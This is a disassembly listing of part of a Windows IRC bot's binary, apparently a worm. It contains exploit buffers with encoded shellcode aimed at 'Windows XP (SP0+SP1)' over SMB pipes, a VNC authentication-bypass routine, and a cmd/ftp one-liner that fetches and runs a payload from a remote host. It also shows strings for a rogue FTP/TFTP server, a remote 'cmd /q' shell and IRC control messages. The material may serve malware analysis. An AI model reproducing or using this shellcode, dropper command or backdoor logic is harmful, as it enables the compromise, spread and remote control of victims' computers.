		and	eax, 952CE753h
		inc	esp
		jle	short loc_4327AB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432783:				; CODE XREF: ___:00432749j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327E2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4327A8:				; CODE XREF: ___:004327D5j
		xor	[esi-25h], bl


loc_4327AB:				; CODE XREF: ___:00432751j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4327C4:				; CODE XREF: ___:004327F7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4327A8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327E2:				; CODE XREF: ___:00432789j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_43286E
		jo	short loc_4327C4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_432805+1
		add	bl, [edi]


loc_432805:				; CODE XREF: ___:00432801j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_43281A+2
		cmp	ch, bh
		dec	edx


loc_43281A:				; CODE XREF: ___:00432815j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_43286E:				; CODE XREF: ___:004327F5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328F4
		sub	al, 0BCh
		jmp	near ptr 54452C62h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890	dd 0EFFFC481h, 44FFFFh,	4328DCh	; DATA XREF: ___:0040DC33o
dword_43289C	dd 42Ah			; DATA XREF: ___:0040DBE6r
dword_4328A0	dd 3E8h			; DATA XREF: ___:0040DC57r
dword_4328A4	dd 258h			; DATA XREF: ___:0040DC29r
byte_4328A8	db 1			; DATA XREF: ___:0040DB92r
					; ___:0040DC60r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4328C0	dd 20804h		; DATA XREF: sub_40D8A0r ___:0040DC7Eo ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328F4:				; CODE XREF: ___:00432878j
		push	eax
		xor	al, 29h


loc_4328F7:				; DATA XREF: ___:0040DBBAo
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_432900	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAEAo
dword_432914	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Eo
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE3+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao
		align 10h
word_433C00	dw 1			; DATA XREF: ___:0040E211r
		align 4
dword_433C04	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C65+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438368o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00438374o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433EEC	db  2Dh	; -		; DATA XREF: sub_40F0D6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433F14	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D6+2CFo
					; sub_41A4D2+F5o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D6+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F531+98o
					; sub_41AA43+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F531+5Fo
		align 4
unk_434134	db  2Dh	; -		; DATA XREF: sub_40F6B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_43416C	db  2Dh	; -		; DATA XREF: sub_40F6B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_4341A0:				; DATA XREF: sub_40F6B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+328o
					; sub_40F96B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96B+2E9o
					; sub_40F96B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434648	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o
dword_43468C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346F4	db  2Dh	; -		; DATA XREF: ___:00410494o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43473C	db  2Dh	; -		; DATA XREF: ___:004106E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_43477C	db  2Dh	; -		; DATA XREF: ___:0041061Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4347C0	db  2Dh	; -		; DATA XREF: ___:004109A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347EC	db  2Dh	; -		; DATA XREF: ___:00410982o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434818	db  2Dh	; -		; DATA XREF: ___:00410962o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o
		align 4
unk_434854	db  2Dh	; -		; DATA XREF: ___:004108A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_434880	db  2Dh	; -		; DATA XREF: sub_4109C5:loc_410A0Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4348AC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434A48	db  2Dh	; -		; DATA XREF: sub_410CD6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A7C	db  2Dh	; -		; DATA XREF: sub_410CD6+59o
					; sub_410CD6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434AC4	db  2Dh	; -		; DATA XREF: sub_410E27+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434AEC	db  2Dh	; -		; DATA XREF: sub_410E27+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434B2C	db  2Dh	; -		; DATA XREF: sub_410E27+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B6C	db  2Dh	; -		; DATA XREF: sub_410F20+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F20+8Co
		align 4
dword_434BAC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
